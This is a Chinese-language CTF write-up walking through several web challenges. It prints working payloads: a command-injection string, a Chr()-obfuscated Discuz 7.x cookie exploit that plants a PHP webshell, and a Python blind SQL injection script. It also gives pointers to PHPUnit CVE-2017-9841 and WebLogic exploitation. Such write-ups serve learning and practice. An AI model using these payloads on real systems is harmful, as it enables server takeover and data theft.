web

签到小能手

直接扫目录发现有个index.php.bak下载打开得到

开胃菜

ls根目录看到flag
zuy5qO.png
然后cat,这里好像可以忽略空格,可能是非预期吧,这里也可以用nl直接出来
zuy4sK.png

小镇做题家

扫出来robots.txt,访问/GAME/index.html查看js代码
zuyWxx.png
base64解码访问/GAME/f14g_in_there_hha/index.php
然后GAME/f14g_in_there_hha/index.php?payload=;cat%09/*

Discuz

参考这篇文章(Discuz 7.x/6.x 全局变量防御绕过导致代码执行漏洞复现 - 腾讯云开发者社区-腾讯云 (tencent.com))
直接访问存在漏洞的地方但是在tid这里困了很久
zuyhM6.png
然后一直找终于又找到一篇博客(discuz7.2漏洞复现–python编写poc - FreeBuf网络安全行业门户)

zuyRR1.png

直接tid改为10,运气不错拿到shell
zuyTde.png
接下来把webshell写入,payload:

1
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

同样传给cookie,这里是创建了一个wf.php密码为lalalal,访问一下这个界面
zuyoZD.png
没有报错说明写入成功,蚁剑连上终端cat就行
zucTCd.png

Queen

这个题比赛时没弄出来,limit注入不太熟悉

zu2uTS.png
需要伪造ip用X-Forwarded-For:127.0.0.1来伪造
zucbvt.png
但是跳转到302了并且登录失败,最后用limit找到注入点
zuc78A.png
zucI4H.png
盲注写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests  

url = 'http://d9960516-2ae7-4792-806e-90afce237a56.recruit.qsnctf.com:8080/login.php'
headers = {
"x-forwarded-for": "127.0.0.1"
}
flag = ''
payload='''or (ascii(substr((select(group_concat(Password))from(user)),{},1))>{}) limit 1#'''
#or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{}) limit 1#
#or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='user')),{},1))>{}) limit 1#
#or (ascii(substr((select(group_concat(Password))from(user)),{},1))>{}) limit 1#
for i in range(1, 100):
print(i)
left = 32
right = 127
mid = (left + right) // 2
while left < right:
payload_flag=payload.format(i,mid)
data = {
"username": "\\",
"password": payload_flag
}
r = requests.post(headers=headers, url=url, data=data, allow_redirects=True)
if "登陆成功" in r.text:
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 127 or mid == 32:
break
flag += chr(right)
print(flag)

zu2cm6.png

这个脚本有点问题,只有爆flag的payload有用,其它的不完整,后面复现再来改改

Where

直接扫目录有个admin,然后登录,看源码发现验证码是图片,那么应该不是进入后台了,在url上面发现base64加密的东西解码一下
zu2OAS.png
在这个目录下但是它是不可访问的,于是试了一系列绕过结果不行,
zucLKP.png
看到这个目录有个eval函数可能有问题,果不其然(PHPUnit远程代码执行漏洞 CVE-2017-9841 漏洞复现_ADummy_的博客-CSDN博客)
这里木马是写不进去的,直接执行phpinfo然后搜索flag
zucHgI.png
提交是假flag离了个大谱,然后回去cat一下出来了
zucODf.png

Weblogic

一开始找了这个Weblogic的SSRF漏洞但是内网ip一直弄不出来,换思路发现好像不是这个洞
(https://blog.csdn.net/yumengzth/article/details/97522783)
参考这个,利用工具出来
zucxUg.png

很遗憾最终没能进入前30